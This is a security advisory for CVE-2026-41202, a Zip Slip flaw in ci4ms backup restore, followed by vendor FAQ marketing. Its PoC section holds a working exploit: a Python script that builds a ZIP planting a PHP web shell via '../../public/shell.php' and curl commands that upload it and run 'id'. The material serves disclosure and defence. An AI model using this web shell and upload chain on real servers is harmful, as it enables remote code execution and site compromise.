Summary
ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to WRITEPATH . 'uploads/', and if the extension is zip, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:
public function restore()
{
$valData = ([
'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('backup_file');
if ($file && $file->isValid() && ! $file->hasMoved()) {
$newName = $file->getRandomName();
$uploadPath = WRITEPATH . 'uploads/';
...
$filePath = WRITEPATH . 'uploads/' . $newName;
$sqlPath = $filePath;
if ($ext === 'zip') {
$zip = new \ZipArchive();
if ($zip->open($filePath) === true) {
$zip->extractTo($uploadPath); // no entry-name validation
$sqlPath = $uploadPath . $zip->getNameIndex(0);
$zip->close();
@unlink($filePath);
}
}
...
}
}
A ZIP containing entries like ../../public/shell.php is extracted outside writable/uploads/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Backup/Config/Routes.php binds POST backend/backup/restore to Backup::restore with role=create, and modules/Backup/Config/BackupConfig.php adds backend/backup and backend/backup/* to csrfExcept, so the route accepts cross-site POSTs from an authenticated administrator's browser.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('dump.sql', 'SELECT 1;')
"
Submit it as a backup to restore:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F '[email protected]' \
https://target.example.com/backend/backup/restore
Trigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-41202? CVE-2026-41202 is a critical-severity path traversal vulnerability in ci4-cms-erp/ci4ms (composer), affecting versions < 0.31.5.0. It is fixed in 0.31.5.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of ci4-cms-erp/ci4ms are affected by CVE-2026-41202? ci4-cms-erp/ci4ms (composer) versions < 0.31.5.0 is affected.
- Is there a fix for CVE-2026-41202? Yes. CVE-2026-41202 is fixed in 0.31.5.0. Upgrade to this version or later.
- Is CVE-2026-41202 exploitable, and should I be worried? Whether CVE-2026-41202 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-41202 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-41202? Upgrade
ci4-cms-erp/ci4msto 0.31.5.0 or later.